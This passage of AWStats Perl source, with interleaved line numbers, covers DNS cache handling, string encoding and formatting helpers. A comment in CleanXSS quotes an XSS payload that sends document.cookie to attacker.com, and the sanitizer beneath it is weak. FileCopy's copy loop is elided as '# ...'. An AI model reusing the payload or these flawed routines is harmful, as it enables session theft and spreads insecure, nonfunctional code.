                if ( $PluginsLoaded{'SearchFile'}{'hashfiles'} ) {
7379
 
                        SearchFile_hashfiles(
7380
 
                                $searchdir,   $dnscachefile, $filesuffix,
7381
 
                                $dnscacheext, $filetoload
7382
 
                        );
7383
 
                }
7384
 
                if ($filetoload) { last; }    # We found a file to load
7385
 
        }
7386
 
 
7387
 
        if ( !$filetoload ) {
7388
 
                if ($Debug) { debug(" No DNS Cache file found"); }
7389
 
                return 1;
7390
 
        }
7391
 
 
7392
 
        # Plugin call : Load hashtoload
7393
 
        if ( $PluginsLoaded{'LoadCache'}{'hashfiles'} ) {
7394
 
                LoadCache_hashfiles( $filetoload, $hashtoload );
7395
 
        }
7396
 
        if ( !scalar keys %$hashtoload ) {
7397
 
                open( DNSFILE, "$filetoload" )
7398
 
                  or error("Couldn't open DNS Cache file \"$filetoload\": $!");
7399
 
 
7400
 
#binmode DNSFILE;               # If we set binmode here, it seems that the load is broken on ActiveState 5.8
7401
 
# This is a fast way to load with regexp
7402
 
                %$hashtoload =
7403
 
                  map( /^(?:\d{0,10}\s+)?([0-9A-F:\.]+)\s+([^\s]+)$/oi, <DNSFILE> );
7404
 
                close DNSFILE;
7405
 
                if ($savetohash) {
7406
 
 
7407
 
        # Plugin call : Save hash file (all records) with test if up to date to save
7408
 
                        if ( $PluginsLoaded{'SaveHash'}{'hashfiles'} ) {
7409
 
                                SaveHash_hashfiles( $filetoload, $hashtoload, 1, 0 );
7410
 
                        }
7411
 
                }
7412
 
        }
7413
 
        if ($Debug) {
7414
 
                debug(
7415
 
                        " Loaded "
7416
 
                          . ( scalar keys %$hashtoload )
7417
 
                          . " items from $filetoload in "
7418
 
                          . ( time() - $timetoload )
7419
 
                          . " seconds.",
7420
 
                        1
7421
 
                );
7422
 
        }
7423
 
        return 0;
7424
 
}
7425
 
 
7426
 
#------------------------------------------------------------------------------
7427
 
# Function:     Save a memory hash array into a DNS cache file
7428
 
# Parameters:   Hash array ref to save,
7429
 
#               File name to save,
7430
 
#                               File suffix to use
7431
 
# Input:                None
7432
 
# Output:               None
7433
 
# Return:               0 OK, 1 Error
7434
 
#------------------------------------------------------------------------------
7435
 
sub Save_DNS_Cache_File {
7436
 
        my $hashtosave   = shift;
7437
 
        my $dnscachefile = shift;
7438
 
        my $filesuffix   = shift;
7439
 
 
7440
 
        my $dnscacheext    = '';
7441
 
        my $filetosave     = '';
7442
 
        my $timetosave     = time();
7443
 
        my $nbofelemtosave = $NBOFLASTUPDATELOOKUPTOSAVE;
7444
 
        my $nbofelemsaved  = 0;
7445
 
 
7446
 
        if ($Debug) {
7447
 
                debug("Call to Save_DNS_Cache_File [file=\"$dnscachefile\"]");
7448
 
        }
7449
 
        if ( !scalar keys %$hashtosave ) {
7450
 
                if ($Debug) { debug(" No data to save"); }
7451
 
                return 0;
7452
 
        }
7453
 
        if ( $dnscachefile =~ s/(\.\w+)$// ) { $dnscacheext = $1; }
7454
 
        $filetosave = "$dnscachefile$filesuffix$dnscacheext";
7455
 
 
7456
 
# Plugin call : Save hash file (only $NBOFLASTUPDATELOOKUPTOSAVE records) with no test if up to date
7457
 
        if ( $PluginsLoaded{'SaveHash'}{'hashfiles'} ) {
7458
 
                SaveHash_hashfiles( $filetosave, $hashtosave, 0, $nbofelemtosave,
7459
 
                        $nbofelemsaved );
7460
 
                if ($SaveDatabaseFilesWithPermissionsForEveryone) {
7461
 
                        chmod 0666, "$filetosave";
7462
 
                }
7463
 
        }
7464
 
        if ( !$nbofelemsaved ) {
7465
 
                $filetosave = "$dnscachefile$filesuffix$dnscacheext";
7466
 
                if ($Debug) {
7467
 
                        debug(
7468
 
                                " Save data "
7469
 
                                  . (
7470
 
                                        $nbofelemtosave
7471
 
                                        ? "($nbofelemtosave records max)"
7472
 
                                        : "(all records)"
7473
 
                                  )
7474
 
                                  . " into file $filetosave"
7475
 
                        );
7476
 
                }
7477
 
                if ( !open( DNSFILE, ">$filetosave" ) ) {
7478
 
                        warning(
7479
 
"Warning: Failed to open for writing last update DNS Cache file \"$filetosave\": $!"
7480
 
                        );
7481
 
                        return 1;
7482
 
                }
7483
 
                binmode DNSFILE;
7484
 
                my $starttimemin = int( $starttime / 60 );
7485
 
                foreach my $key ( keys %$hashtosave ) {
7486
 
 
7487
 
                        #if ($hashtosave->{$key} ne '*') {
7488
 
                        my $ipsolved = $hashtosave->{$key};
7489
 
                        print DNSFILE "$starttimemin\t$key\t"
7490
 
                          . ( $ipsolved eq 'ip' ? '*' : $ipsolved )
7491
 
                          . "\n";    # Change 'ip' to '*' for backward compatibility
7492
 
                        if ( ++$nbofelemsaved >= $NBOFLASTUPDATELOOKUPTOSAVE ) { last; }
7493
 
 
7494
 
                        #}
7495
 
                }
7496
 
                close DNSFILE;
7497
 
 
7498
 
                if ($SaveDatabaseFilesWithPermissionsForEveryone) {
7499
 
                        chmod 0666, "$filetosave";
7500
 
                }
7501
 
 
7502
 
        }
7503
 
        if ($Debug) {
7504
 
                debug(
7505
 
                        " Saved $nbofelemsaved items into $filetosave in "
7506
 
                          . ( time() - $timetosave )
7507
 
                          . " seconds.",
7508
 
                        1
7509
 
                );
7510
 
        }
7511
 
        return 0;
7512
 
}
7513
 
 
7514
 
#------------------------------------------------------------------------------
7515
 
# Function:     Return time elapsed since last call in miliseconds
7516
 
# Parameters:   0|1 (0 reset counter, 1 no reset)
7517
 
# Input:                None
7518
 
# Output:               None
7519
 
# Return:               Number of miliseconds elapsed since last call
7520
 
#------------------------------------------------------------------------------
7521
 
sub GetDelaySinceStart {
7522
 
        if (shift) { $StartSeconds = 0; }    # Reset chrono
7523
 
        my ( $newseconds, $newmicroseconds ) = ( time(), 0 );
7524
 
 
7525
 
        # Plugin call : Return seconds and milliseconds
7526
 
        if ( $PluginsLoaded{'GetTime'}{'timehires'} ) {
7527
 
                GetTime_timehires( $newseconds, $newmicroseconds );
7528
 
        }
7529
 
        if ( !$StartSeconds ) {
7530
 
                $StartSeconds      = $newseconds;
7531
 
                $StartMicroseconds = $newmicroseconds;
7532
 
        }
7533
 
        return ( ( $newseconds - $StartSeconds ) * 1000 +
7534
 
                  int( ( $newmicroseconds - $StartMicroseconds ) / 1000 ) );
7535
 
}
7536
 
 
7537
 
#------------------------------------------------------------------------------
7538
 
# Function:     Reset all variables whose name start with _ because a new month start
7539
 
# Parameters:   None
7540
 
# Input:        $YearRequired All variables whose name start with _
7541
 
# Output:       All variables whose name start with _
7542
 
# Return:               None
7543
 
#------------------------------------------------------------------------------
7544
 
sub Init_HashArray {
7545
 
        if ($Debug) { debug("Call to Init_HashArray"); }
7546
 
 
7547
 
        # Reset global hash arrays
7548
 
        %FirstTime           = %LastTime           = ();
7549
 
        %MonthHostsKnown     = %MonthHostsUnknown  = ();
7550
 
        %MonthVisits         = %MonthUnique        = ();
7551
 
        %MonthPages          = %MonthHits          = %MonthBytes = ();
7552
 
        %MonthNotViewedPages = %MonthNotViewedHits = %MonthNotViewedBytes = ();
7553
 
        %DayPages            = %DayHits            = %DayBytes = %DayVisits = ();
7554
 
 
7555
 
        # Reset all arrays with name beginning by _
7556
 
        for ( my $ix = 0 ; $ix < 6 ; $ix++ ) {
7557
 
                $_from_p[$ix] = 0;
7558
 
                $_from_h[$ix] = 0;
7559
 
        }
7560
 
        for ( my $ix = 0 ; $ix < 24 ; $ix++ ) {
7561
 
                $_time_h[$ix]    = 0;
7562
 
                $_time_k[$ix]    = 0;
7563
 
                $_time_p[$ix]    = 0;
7564
 
                $_time_nv_h[$ix] = 0;
7565
 
                $_time_nv_k[$ix] = 0;
7566
 
                $_time_nv_p[$ix] = 0;
7567
 
        }
7568
 
 
7569
 
        # Reset all hash arrays with name beginning by _
7570
 
        %_session     = %_browser_h   = ();
7571
 
        %_domener_p   = %_domener_h   = %_domener_k = %_errors_h = %_errors_k = ();
7572
 
        %_filetypes_h = %_filetypes_k = %_filetypes_gz_in = %_filetypes_gz_out = ();
7573
 
        %_host_p = %_host_h = %_host_k = %_host_l = %_host_s = %_host_u = ();
7574
 
        %_waithost_e = %_waithost_l = %_waithost_s = %_waithost_u = ();
7575
 
        %_keyphrases = %_keywords   = %_os_h = %_pagesrefs_p = %_pagesrefs_h =
7576
 
          %_robot_h  = %_robot_k    = %_robot_l = %_robot_r = ();
7577
 
        %_worm_h = %_worm_k = %_worm_l = %_login_p = %_login_h = %_login_k =
7578
 
          %_login_l      = %_screensize_h   = ();
7579
 
        %_misc_p         = %_misc_h         = %_misc_k = ();
7580
 
        %_cluster_p      = %_cluster_h      = %_cluster_k = ();
7581
 
        %_se_referrals_p = %_se_referrals_h = %_sider404_h = %_referer404_h =
7582
 
          %_url_p        = %_url_k          = %_url_e = %_url_x = ();
7583
 
        %_unknownreferer_l = %_unknownrefererbrowser_l = ();
7584
 
        %_emails_h = %_emails_k = %_emails_l = %_emailr_h = %_emailr_k =
7585
 
          %_emailr_l = ();
7586
 
 
7587
 
        for ( my $ix = 1 ; $ix < @ExtraName ; $ix++ ) {
7588
 
                %{ '_section_' . $ix . '_h' }   = %{ '_section_' . $ix . '_o' } =
7589
 
                  %{ '_section_' . $ix . '_k' } = %{ '_section_' . $ix . '_l' } =
7590
 
                  %{ '_section_' . $ix . '_p' } = ();
7591
 
        }
7592
 
        foreach my $pluginname ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } )
7593
 
        {
7594
 
 
7595
 
                #               my $function="SectionInitHashArray_$pluginname()";
7596
 
                #               eval("$function");
7597
 
                my $function = "SectionInitHashArray_$pluginname";
7598
 
                &$function();
7599
 
        }
7600
 
}
7601
 
 
7602
 
#------------------------------------------------------------------------------
7603
 
# Function:     Change word separators of a keyphrase string into space and
7604
 
#               remove bad coded chars
7605
 
# Parameters:   stringtodecode
7606
 
# Input:        None
7607
 
# Output:       None
7608
 
# Return:               decodedstring
7609
 
#------------------------------------------------------------------------------
7610
 
sub ChangeWordSeparatorsIntoSpace {
7611
 
        $_[0] =~ s/%0[ad]/ /ig;          # LF CR
7612
 
        $_[0] =~ s/%2[02789abc]/ /ig;    # space " ' ( ) * + ,
7613
 
        $_[0] =~ s/%3a/ /ig;             # :
7614
 
        $_[0] =~
7615
 
          tr/\+\'\(\)\"\*,:/        /s;    # "&" and "=" must not be in this list
7616
 
}
7617
 
 
7618
 
#------------------------------------------------------------------------------
7619
 
# Function:             Transforms special chars by entities as needed in XML/XHTML
7620
 
# Parameters:   stringtoencode
7621
 
# Return:               encodedstring
7622
 
#------------------------------------------------------------------------------
7623
 
sub XMLEncode {
7624
 
        if ( $BuildReportFormat ne 'xhtml' && $BuildReportFormat ne 'xml' ) {
7625
 
                return shift;
7626
 
        }
7627
 
        my $string = shift;
7628
 
        $string =~ s/&/&amp;/g;
7629
 
        $string =~ s/</&lt;/g;
7630
 
        $string =~ s/>/&gt;/g;
7631
 
        $string =~ s/\"/&quot;/g;
7632
 
        $string =~ s/\'/&apos;/g;
7633
 
        return $string;
7634
 
}
7635
 
 
7636
 
#------------------------------------------------------------------------------
7637
 
# Function:             Transforms spaces into %20 and special chars by HTML entities as needed in XML/XHTML
7638
 
#                               Decoding is done by XMLDecodeFromHisto.
7639
 
#                               AWStats data files are stored in ISO-8859-1.
7640
 
# Parameters:   stringtoencode
7641
 
# Return:               encodedstring
7642
 
#------------------------------------------------------------------------------
7643
 
sub XMLEncodeForHisto {
7644
 
        my $string = shift;
7645
 
        $string =~ s/\s/%20/g;
7646
 
        if ( $BuildHistoryFormat ne 'xml' ) { return $string; }
7647
 
        $string =~ s/=/%3d/g;
7648
 
        $string =~ s/&/&amp;/g;
7649
 
        $string =~ s/</&lt;/g;
7650
 
        $string =~ s/>/&gt;/g;
7651
 
        $string =~ s/\"/&quot;/g;
7652
 
        $string =~ s/\'/&apos;/g;
7653
 
        return $string;
7654
 
}
7655
 
 
7656
 
#------------------------------------------------------------------------------
7657
 
# Function:     Encode an ISO string to PageCode output
7658
 
# Parameters:   stringtoencode
7659
 
# Return:               encodedstring
7660
 
#------------------------------------------------------------------------------
7661
 
sub EncodeToPageCode {
7662
 
        my $string = shift;
7663
 
        if ( $PageCode eq 'utf-8' ) { $string = encode( "utf8", $string ); }
7664
 
        return $string;
7665
 
}
7666
 
 
7667
 
#------------------------------------------------------------------------------
7668
 
# Function:     Encode a binary string into an ASCII string
7669
 
# Parameters:   stringtoencode
7670
 
# Return:               encodedstring
7671
 
#------------------------------------------------------------------------------
7672
 
sub EncodeString {
7673
 
        my $string = shift;
7674
 
 
7675
 
        #       use bytes;
7676
 
        $string =~ s/([\x2B\x80-\xFF])/sprintf ("%%%2x", ord($1))/eg;
7677
 
 
7678
 
        #       no bytes;
7679
 
        $string =~ tr/ /+/s;
7680
 
        return $string;
7681
 
}
7682
 
 
7683
 
#------------------------------------------------------------------------------
7684
 
# Function:     Decode an url encoded text string into a binary string
7685
 
# Parameters:   stringtodecode
7686
 
# Input:        None
7687
 
# Output:       None
7688
 
# Return:       decodedstring
7689
 
#------------------------------------------------------------------------------
7690
 
sub DecodeEncodedString {
7691
 
        my $stringtodecode = shift;
7692
 
        $stringtodecode =~ tr/\+/ /s;
7693
 
        $stringtodecode =~ s/%([A-F0-9][A-F0-9])/pack("C", hex($1))/ieg;
7694
 
        $stringtodecode =~ s/["']//g;
7695
 
 
7696
 
        return $stringtodecode;
7697
 
}
7698
 
 
7699
 
#------------------------------------------------------------------------------
7700
 
# Function:     Decode an precompiled regex value to a common regex value
7701
 
# Parameters:   compiledregextodecode
7702
 
# Input:        None
7703
 
# Output:       None
7704
 
# Return:               standardregex
7705
 
#------------------------------------------------------------------------------
7706
 
sub UnCompileRegex {
7707
 
        shift =~ /\(\?[-\w]*:(.*)\)/;
7708
 
        return $1;
7709
 
}
7710
 
 
7711
 
#------------------------------------------------------------------------------
7712
 
# Function:     Clean a string of all chars that are not char or _ - \ / . \s
7713
 
# Parameters:   stringtoclean, full
7714
 
# Input:        None
7715
 
# Output:       None
7716
 
# Return:               cleanedstring
7717
 
#------------------------------------------------------------------------------
7718
 
sub Sanitize {
7719
 
        my $stringtoclean = shift;
7720
 
        my $full = shift || 0;
7721
 
        if ($full) {
7722
 
                $stringtoclean =~ s/[^\w]//g;
7723
 
        }
7724
 
        else {
7725
 
                $stringtoclean =~ s/[^\w\-\\\/\.:\s]//g;
7726
 
        }
7727
 
        return $stringtoclean;
7728
 
}
7729
 
 
7730
 
#------------------------------------------------------------------------------
7731
 
# Function:     Clean a string of HTML tags to avoid 'Cross Site Scripting attacks'
7732
 
#               and clean | char.
7733
 
#                               A XSS attack is providing an AWStats url with XSS code that is executed
7734
 
#                               when page loaded by awstats CGI is loaded from AWStats server. Such a code
7735
 
#                               can be<script>document.write("<img src=http://attacker.com/page.php?" + document.cookie)</script>
7736
 
#                               This make the browser sending a request to the attacker server that contains
7737
 
#                               cookie used for AWStats server sessions. Attacker can this way caught this
7738
 
#                               cookie and used it to go on AWStats server like original visitor. For this
7739
 
#                               resaon, parameter received by AWStats must be sanitized by this function
7740
 
#                               before beeing put inside a web page.
7741
 
# Parameters:   stringtoclean
7742
 
# Input:        None
7743
 
# Output:       None
7744
 
# Return:               cleanedstring
7745
 
#------------------------------------------------------------------------------
7746
 
sub CleanXSS {
7747
 
        my $stringtoclean = shift;
7748
 
 
7749
 
        # To avoid html tags and javascript
7750
 
        $stringtoclean =~ s/</&lt;/g;
7751
 
        $stringtoclean =~ s/>/&gt;/g;
7752
 
        $stringtoclean =~ s/|//g;
7753
 
 
7754
 
        # To avoid onload="
7755
 
        $stringtoclean =~ s/onload//g;
7756
 
        return $stringtoclean;
7757
 
}
7758
 
 
7759
 
#------------------------------------------------------------------------------
7760
 
# Function:     Clean tags in a string
7761
 
#                               AWStats data files are stored in ISO-8859-1.
7762
 
# Parameters:   stringtodecode
7763
 
# Input:        None
7764
 
# Output:       None
7765
 
# Return:               decodedstring
7766
 
#------------------------------------------------------------------------------
7767
 
sub XMLDecodeFromHisto {
7768
 
        my $stringtoclean = shift;
7769
 
        $stringtoclean =~ s/$regclean1/ /g;    # Replace <recnb> or </td> with space
7770
 
        $stringtoclean =~ s/$regclean2//g;     # Remove others <xxx>
7771
 
        $stringtoclean =~ s/%3d/=/g;
7772
 
        $stringtoclean =~ s/&amp;/&/g;
7773
 
        $stringtoclean =~ s/&lt;/</g;
7774
 
        $stringtoclean =~ s/&gt;/>/g;
7775
 
        $stringtoclean =~ s/&quot;/\"/g;
7776
 
        $stringtoclean =~ s/&apos;/\'/g;
7777
 
        return $stringtoclean;
7778
 
}
7779
 
 
7780
 
#------------------------------------------------------------------------------
7781
 
# Function:     Copy one file into another
7782
 
# Parameters:   sourcefilename targetfilename
7783
 
# Input:        None
7784
 
# Output:       None
7785
 
# Return:               0 if copy is ok, 1 else
7786
 
#------------------------------------------------------------------------------
7787
 
sub FileCopy {
7788
 
        my $filesource = shift;
7789
 
        my $filetarget = shift;
7790
 
        if ($Debug) { debug( "FileCopy($filesource,$filetarget)", 1 ); }
7791
 
        open( FILESOURCE, "$filesource" )  || return 1;
7792
 
        open( FILETARGET, ">$filetarget" ) || return 1;
7793
 
        binmode FILESOURCE;
7794
 
        binmode FILETARGET;
7795
 
 
7796
 
        # ...
7797
 
        close(FILETARGET);
7798
 
        close(FILESOURCE);
7799
 
        if ($Debug) { debug( " File copied", 1 ); }
7800
 
        return 0;
7801
 
}
7802
 
 
7803
 
#------------------------------------------------------------------------------
7804
 
# Function:     Format a QUERY_STRING
7805
 
# Parameters:   query
7806
 
# Input:        None
7807
 
# Output:       None
7808
 
# Return:               formated query
7809
 
#------------------------------------------------------------------------------
7810
 
# TODO Appeller cette fonction partout ou il y a des NewLinkParams
7811
 
sub CleanNewLinkParamsFrom {
7812
 
        my $NewLinkParams = shift;
7813
 
        while ( my $param = shift ) {
7814
 
                $NewLinkParams =~ s/(^|&|&amp;)$param(=[^&]*|$)//i;
7815
 
        }
7816
 
        $NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
7817
 
        $NewLinkParams =~ s/^&amp;//;
7818
 
        $NewLinkParams =~ s/&amp;$//;
7819
 
        return $NewLinkParams;
7820
 
}
7821
 
 
7822
 
#------------------------------------------------------------------------------
7823
 
# Function:     Show flags for other language translations
7824
 
# Parameters:   Current languade id (en, fr, ...)
7825
 
# Input:        None
7826
 
# Output:       None
7827
 
# Return:       None
7828
 
#------------------------------------------------------------------------------
7829
 
sub Show_Flag_Links {
7830
 
        my $CurrentLang = shift;
7831
 
 
7832
 
        # Build flags link
7833
 
        my $NewLinkParams = $QueryString;
7834
 
        my $NewLinkTarget = '';
7835
 
        if ( $ENV{'GATEWAY_INTERFACE'} ) {
7836
 
                $NewLinkParams =
7837
 
                  CleanNewLinkParamsFrom( $NewLinkParams,
7838
 
                        ( 'update', 'staticlinks', 'framename', 'lang' ) );
7839
 
                $NewLinkParams =~ s/(^|&|&amp;)update(=\w*|$)//i;
7840
 
                $NewLinkParams =~ s/(^|&|&amp;)staticlinks(=\w*|$)//i;
7841
 
                $NewLinkParams =~ s/(^|&|&amp;)framename=[^&]*//i;
7842
 
                $NewLinkParams =~ s/(^|&|&amp;)lang=[^&]*//i;
7843
 
                $NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
7844
 
                $NewLinkParams =~ s/^&amp;//;
7845
 
                $NewLinkParams =~ s/&amp;$//;
7846
 
                if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&amp;"; }
7847
 
 
7848
 
                if ( $FrameName eq 'mainright' ) {
7849
 
                        $NewLinkTarget = " target=\"_parent\"";
7850
 
                }
7851
 
        }
7852
 
        else {
7853
 
                $NewLinkParams =
7854
 
                  ( $SiteConfig ? "config=$SiteConfig&amp;" : "" )
7855
 
                  . "year=$YearRequired&amp;month=$MonthRequired&amp;";
7856
 
        }
7857
 
        if ( $NewLinkParams !~ /output=/ ) { $NewLinkParams .= 'output=main&amp;'; }
7858
 
        if ( $FrameName eq 'mainright' ) {
7859
 
                $NewLinkParams .= 'framename=index&amp;';
7860
 
        }
7861
 
 
7862
 
        foreach my $lng ( split( /\s+/, $ShowFlagLinks ) ) {
7863
 
                $lng =
7864
 
                    $LangBrowserToLangAwstats{$lng}
7865
 
                  ? $LangBrowserToLangAwstats{$lng}
7866
 
                  : $lng;
7867
 
                if ( $lng ne $CurrentLang ) {
7868
 
                        my %lngtitle = (
7869
 
                                'en', 'English', 'fr', 'French', 'de', 'German',
7870
 
                                'it', 'Italian', 'nl', 'Dutch',  'es', 'Spanish'
7871
 
                        );
7872
 
                        my $lngtitle = ( $lngtitle{$lng} ? $lngtitle{$lng} : $lng );
7873
 
                        my $flag = (
7874
 
                                  $LangAWStatsToFlagAwstats{$lng}
7875
 
                                ? $LangAWStatsToFlagAwstats{$lng}
7876
 
                                : $lng
7877
 
                        );
7878
 
                        print "<a href=\""
7879
 
                          . XMLEncode("$AWScript?${NewLinkParams}lang=$lng")
7880
 
                          . "\"$NewLinkTarget><img src=\"$DirIcons\/flags\/$flag.png\" height=\"14\" border=\"0\""
7881
 
                          . AltTitle("$lngtitle")
7882
 
                          . " /></a>&nbsp;\n";
7883
 
                }
7884
 
        }
7885
 
}
7886
 
 
7887
 
#------------------------------------------------------------------------------
7888
 
# Function:             Format value in bytes in a string (Bytes, Kb, Mb, Gb)
7889
 
# Parameters:   bytes (integer value or "0.00")
7890
 
# Input:        None
7891
 
# Output:       None
7892
 
# Return:       "x.yz MB" or "x.yy KB" or "x Bytes" or "0"
7893
 
#------------------------------------------------------------------------------
7894
 
sub Format_Bytes {
7895
 
        my $bytes = shift || 0;
7896
 
        my $fudge = 1;
7897
 
 
7898
 
# Do not use exp/log function to calculate 1024power, function make segfault on some unix/perl versions
7899
 
        if ( $bytes >= ( $fudge << 30 ) ) {
7900
 
                return sprintf( "%.2f", $bytes / 1073741824 ) . " $Message[110]";
7901
 
        }
7902
 
        if ( $bytes >= ( $fudge << 20 ) ) {
7903
 
                return sprintf( "%.2f", $bytes / 1048576 ) . " $Message[109]";
7904
 
        }
7905
 
        if ( $bytes >= ( $fudge << 10 ) ) {
7906
 
                return sprintf( "%.2f", $bytes / 1024 ) . " $Message[108]";
7907
 
        }
7908
 
        if ( $bytes < 0 ) { $bytes = "?"; }
7909
 
        return int($bytes) . ( int($bytes) ? " $Message[119]" : "" );
7910
 
}
7911
 
 
7912
 
#------------------------------------------------------------------------------
7913
 
# Function:             Format a number
7914
 
# Parameters:   number
7915
 
# Input:        None
7916
 
# Output:       None
7917
 
# Return:       "999 999 999 999"
7918
 
#------------------------------------------------------------------------------
7919
 
sub Format_Number {
7920
 
        my $number = shift || 0;
7921
 
        $number =~ s/(\d)(\d\d\d)$/$1 $2/;
7922
 
        $number =~ s/(\d)(\d\d\d\s\d\d\d)$/$1 $2/;
7923
 
        $number =~ s/(\d)(\d\d\d\s\d\d\d\s\d\d\d)$/$1 $2/;
7924
 
        return $number;
7925
 
}
7926
 
 
7927
 
#------------------------------------------------------------------------------
7928
 
# Function:             Return " alt=string title=string"
7929
 
# Parameters:   string
7930
 
# Input:        None
7931
 
# Output:       None
7932
 
# Return:       "alt=string title=string"
7933
 
#------------------------------------------------------------------------------
7934
 
sub AltTitle {
7935
 
        my $string = shift || '';
7936
 
        return " alt='$string' title='$string'";
7937
 
 
7938
 
        #       return " alt=\"$string\" title=\"$string\"";
7939
 
        #       return ($BuildReportFormat?"":" alt=\"$string\"")." title=\"$string\"";
7940
 
}
7941
 
 
7942
 
#------------------------------------------------------------------------------
7943
 
# Function:             Tell if an email is a local or external email
7944
 
# Parameters:   email
7945
 
# Input:        $SiteDomain(exact string) $HostAliases(quoted regex string)
7946
 
# Output:       None
7947
 
# Return:       -1, 0 or 1
7948
 
#------------------------------------------------------------------------------
7949
 
sub IsLocalEMail {
7950
 
        my $email = shift || 'unknown';
7951
 
        if ( $email !~ /\@(.*)$/ ) { return 0; }
7952
 
        my $domain = $1;
7953
 
        if ( $domain =~ /^$SiteDomain$/i ) { return 1; }
7954
 
        foreach (@HostAliases) {
7955
 
                if ( $domain =~ /$_/ ) { return 1; }
7956
 
        }
7957
 
        return -1;
7958
 
}
7959
 
 
7960
 
#------------------------------------------------------------------------------
7961
 
# Function:             Format a date according to Message[78] (country date format)
7962
 
# Parameters:   String date YYYYMMDDHHMMSS
7963
 
#               Option 0=LastUpdate and LastTime date
7964
 
#                      1=Arrays date except daymonthvalues
7965
 
#                      2=daymonthvalues date (only year month and day)
7966
 
# Input:        $Message[78]
7967
 
# Output:       None
7968
 
# Return:       Date with format defined by Message[78] and option
7969
 
#------------------------------------------------------------------------------
7970
 
sub Format_Date {
7971
 
        my $date       = shift;
7972
 
        my $option     = shift || 0;
7973
 
        my $year       = substr( "$date", 0, 4 );
7974
 
        my $month      = substr( "$date", 4, 2 );
7975
 
        my $day        = substr( "$date", 6, 2 );
7976
 
        my $hour       = substr( "$date", 8, 2 );
7977
 
        my $min        = substr( "$date", 10, 2 );
7978
 
        my $sec        = substr( "$date", 12, 2 );
7979
 
        my $dateformat = $Message[78];
7980
 
 
7981
 
        if ( $option == 2 ) {
7982
 
                $dateformat =~ s/^[^ymd]+//g;
7983
 
                $dateformat =~ s/[^ymd]+$//g;
7984
 
        }
7985
 
        $dateformat =~ s/yyyy/$year/g;
7986
 
        $dateformat =~ s/yy/$year/g;
7987
 
        $dateformat =~ s/mmm/$MonthNumLib{$month}/g;
7988
 
        $dateformat =~ s/mm/$month/g;
7989
 
        $dateformat =~ s/dd/$day/g;
7990
 
        $dateformat =~ s/HH/$hour/g;
7991
 
        $dateformat =~ s/MM/$min/g;
7992
 
        $dateformat =~ s/SS/$sec/g;
7993
 
        return "$dateformat";
7994
 
}
7995
 
 
7996
 
#------------------------------------------------------------------------------
7997
 
# Function:     Return 1 if string contains only ascii chars
7998
 
# Parameters:   string
7999
 
# Input:        None
8000
 
# Output:       None
8001
 
# Return:       0 or 1
8002
 
#------------------------------------------------------------------------------
8003
 
sub IsAscii {
8004
 
        my $string = shift;
8005
 
        if ($Debug) { debug( "IsAscii($string)", 5 ); }
8006
 
        if ( $string =~ /^[\w\+\-\/\\\.%,;:=\"\'&?!\s]+$/ ) {
8007
 
                if ($Debug) { debug( " Yes", 6 ); }
8008
 
                return
8009
 
                  1
8010
 
                  ; # Only alphanum chars (and _) or + - / \ . % , ; : = " ' & ? space \t
8011
 
        }
8012
 
        if ($Debug) { debug( " No", 6 ); }
8013
 
        return 0;
8014
 
}
8015
 
 
8016
 
#------------------------------------------------------------------------------
8017
 
# Function:     Return the lower value between 2 but exclude value if 0
8018
 
# Parameters:   Val1 and Val2
8019
 
# Input:        None
8020
 
# Output:       None
8021
 
# Return:       min(Val1,Val2)
8022
 
#------------------------------------------------------------------------------
8023
 
sub MinimumButNoZero {
8024
 
        my ( $val1, $val2 ) = @_;
8025
 
        return ( $val1 && ( $val1 < $val2 || !$val2 ) ? $val1 : $val2 );
8026
 
}
8027
 
 
8028
 
#------------------------------------------------------------------------------
8029
 
# Function:     Add a val from sorting tree
8030
 
# Parameters:   keytoadd keyval [firstadd]
8031
 
# Input:        None
8032
 
# Output:       None
8033
 
# Return:       None
8034
 
#------------------------------------------------------------------------------
8035
 
sub AddInTree {
8036
 
        my $keytoadd = shift;
8037
 
        my $keyval   = shift;
8038
 
        my $firstadd = shift || 0;
8039
 
        if ( $firstadd == 1 ) {    # Val is the first one
8040
 
                if ($Debug) { debug( "  firstadd", 4 ); }
8041
 
                $val{$keyval} = $keytoadd;
8042
 
                $lowerval = $keyval;
8043
 
                if ($Debug) {
8044
 
                        debug(
8045
 
                                "  lowerval=$lowerval, nb elem val="
8046
 
                                  . ( scalar keys %val )
8047
 
                                  . ", nb elem egal="
8048
 
                                  . ( scalar keys %egal ) . ".",
8049
 
                                4
8050
 
                        );
8051
 
                }
8052
 
                return;
8053
 
        }
8054
 
        if ( $val{$keyval} ) {    # Val is already in tree
8055
 
                if ($Debug) { debug( "  val is already in tree", 4 ); }
8056
 
                $egal{$keytoadd} = $val{$keyval};
8057
 
                $val{$keyval}    = $keytoadd;
8058
 
                if ($Debug) {
8059
 
                        debug(
8060
 
                                "  lowerval=$lowerval, nb elem val="
8061
 
                                  . ( scalar keys %val )
8062
 
                                  . ", nb elem egal="
8063
 
                                  . ( scalar keys %egal ) . ".",
8064
 
                                4
8065
 
                        );
8066
 
                }
8067
 
                return;
8068
 
        }
8069
 
        if ( $keyval <= $lowerval )
8070
 
        {    # Val is a new one lower (should happens only when tree is not full)
8071
 
                if ($Debug) {
8072
 
                        debug(
8073
 
"  keytoadd val=$keyval is lower or equal to lowerval=$lowerval",
8074
 
                                4
8075
 
                        );
8076
 
                }
8077
 
                $val{$keyval}     = $keytoadd;
8078
 
                $nextval{$keyval} = $lowerval;
8079
 
                $lowerval         = $keyval;
8080
 
                if ($Debug) {
8081
 
                        debug(
8082
 
                                "  lowerval=$lowerval, nb elem val="
8083
 
                                  . ( scalar keys %val )
8084
 
                                  . ", nb elem egal="
8085
 
                                  . ( scalar keys %egal ) . ".",
8086
 
                                4
8087
 
                        );
8088
 
                }
8089
 
                return;
8090
 
        }
8091
 
 
8092
 
        # Val is a new one higher
8093
 
        if ($Debug) {
8094
 
                debug( "  keytoadd val=$keyval is higher than lowerval=$lowerval", 4 );
8095
 
        }
8096
 
        $val{$keyval} = $keytoadd;
8097
 
        my $valcursor = $lowerval;    # valcursor is value just before keyval
8098
 
        while ( $nextval{$valcursor} && ( $nextval{$valcursor} < $keyval ) ) {
8099
 
                $valcursor = $nextval{$valcursor};
8100
 
        }
8101
 
        if ( $nextval{$valcursor} )
8102
 
        {    # keyval is between valcursor and nextval{valcursor}
8103
 
                $nextval{$keyval} = $nextval{$valcursor};
8104
 
        }
8105
 
        $nextval{$valcursor} = $keyval;
8106
 
